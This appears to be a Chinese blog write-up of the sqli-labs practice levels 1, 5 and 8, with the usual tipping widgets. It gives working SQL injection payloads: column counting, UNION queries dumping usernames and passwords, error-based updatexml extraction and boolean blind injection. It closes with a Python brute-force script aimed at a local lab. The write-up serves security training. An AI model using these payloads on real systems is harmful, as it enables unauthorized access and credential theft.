sql注入

第一关

字符型注入

二分法猜字段

?id=1' order by 10;--+

 

?id=1' order by 3;--+

 

联合查询

?id=-1' union select 1,user(),database();--+

?id=-1' union select 1,2,group_concat(id,username,password) from users; --+

第五关

报错注入

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

分段查询(substr)

1-32字节

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(group_concat(username,0x3a,password),1,32)from%20users),0x7e),1)--+

32-64字节

?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20substr(group_concat(username,0x3a,password),32,64)from%20users),0x7e),1)--+

64-96字节

96-128字节

第八关

?id=1'

页面为真时显示You are in......... 页面为假时不显示

利用ASCII码查找

?id=1' and ascii(substr(database(),1,1))>100--+

?id=1' and ascii(substr(database(),1,1))>110--+

?id=1' and ascii(substr(database(),1,1))>120--+

?id=1' and ascii(substr(database(),1,1))>114--+

?id=1' and ascii(substr(database(),1,1))=115--+

第一行第一个字符ASCII=155(字母s)时为真 ,依此类推

python脚本

import requests

url = 'http://127.0.0.1/sqli/Less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1,20):
        for j in range(32,129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

E.W.S.A.P.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值